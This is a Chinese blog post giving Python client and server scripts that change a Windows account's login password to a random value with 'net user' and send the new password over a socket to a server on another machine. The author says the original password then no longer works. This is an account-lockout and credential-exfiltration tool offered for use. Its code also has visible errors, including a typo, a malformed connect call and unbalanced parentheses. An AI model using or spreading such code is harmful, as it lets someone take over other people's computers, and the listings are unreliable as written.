用python来更改windows开机密码

  分两部分,一部分是client端,一部分是server端两个,先运行server端,client端会在电脑上随机生成一个密码然后通过socket发给server端

client端代码:

#coding=utf-8
#更改window密码
#client.py

import socket
import getpass
import subprocess
import random

client=socket.socket(socket.AF_INET, socket.SOCK_STREAM) #创建socket实例
client.connect('127.0.0.1',55555) #连接server端IP地址/端口按你自己实际情况来
user=getpass.getuser() #获取计算机用户名
psd=''

for j in range(1,10): #生成1-9的随机数
	m=str(random.randrange(0,10))
	psd=psd+m

subprocess.Popen(['net','User',user,psd]) #在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8')) #将密码发送给server端
back_msg=clien.recv(1024)
client.close() #关闭socket
print(psd)

server端代码:

#coding=utf-8
#更改window密码
#client.py

import socket

server=socket.socket((socket.AF_INET, socket.SOCK_STREAM)
server.bind(('127.0.0.1',55555)) #绑定IP/端口
server.listen(5) #监听
print('starting....')
conn,addr=server.accept() #连接
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg = conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()

首先先在我的Linux上运行server端,来等待接收来自client端传过来的密码
然后windows运行client端,它会显示生成的密码
现在再注销或者是重启输入原始密码就会发现密码错误,密码也已经发到我们的server端了

想改回密码的话,不要关机,打开cmd输入“net user 你的用户名 你要改变的密码”,然后回车就ok了

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章